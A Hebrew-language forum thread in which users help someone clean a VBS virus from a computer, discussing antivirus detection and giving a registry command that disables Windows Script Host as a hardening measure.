                                גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

                                @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                מתכנת חובבמ מנותק
                                מתכנת חובבמ מנותק
                                מתכנת חובב
                                מדריכים
                                כתב נערך לאחרונה על ידי
                                #19

                                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                ר תגובה 1 תגובה אחרונה
                                1
                                • מתכנת חובבמ מתכנת חובב

                                  @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                  האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

                                  היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

                                  ר מנותק
                                  ר מנותק
                                  רנדומלי
                                  כתב נערך לאחרונה על ידי
                                  #20

                                  @מתכנת-חובב
                                  השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                  כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                  @תלמידהון
                                  כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                  ת מתכנת חובבמ 2 תגובות תגובה אחרונה
                                  0
                                  • ר רנדומלי

                                    @מתכנת-חובב
                                    השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                    כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                    @תלמידהון
                                    כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                    ת מנותק
                                    ת מנותק
                                    תלמידהון
                                    כתב נערך לאחרונה על ידי
                                    #21

                                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                    השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                    אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

                                    תגובה 1 תגובה אחרונה
                                    1
                                    • ר רנדומלי

                                      @מתכנת-חובב
                                      השאלה היא אם הקוד הנוכחי אכן עושה זאת.
                                      כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

                                      @תלמידהון
                                      כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

                                      מתכנת חובבמ מנותק
                                      מתכנת חובבמ מנותק
                                      מתכנת חובב
                                      מדריכים
                                      כתב נערך לאחרונה על ידי מתכנת חובב
                                      #22

                                      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                      בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                      לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                      תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                      צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                      ר תגובה 1 תגובה אחרונה
                                      0
                                      • מתכנת חובבמ מתכנת חובב

                                        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                        השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                                        בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                                        לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                                        תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                                        ר מנותק
                                        ר מנותק
                                        רנדומלי
                                        כתב נערך לאחרונה על ידי
                                        #23

                                        @מתכנת-חובב
                                        תהיה מוכן להסביר לי איך אני מכבה VBS?

                                        זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                        מתכנת חובבמ תגובה 1 תגובה אחרונה
                                        0
                                        • ר רנדומלי

                                          @מתכנת-חובב
                                          תהיה מוכן להסביר לי איך אני מכבה VBS?

                                          זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                                          מתכנת חובבמ מנותק
                                          מתכנת חובבמ מנותק
                                          מתכנת חובב
                                          מדריכים
                                          כתב נערך לאחרונה על ידי
                                          #24

                                          @רנדומלי תריץ את זה כמנהל

                                          reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
                                          

                                          צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                                          תגובה 1 תגובה אחרונה
                                          2

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר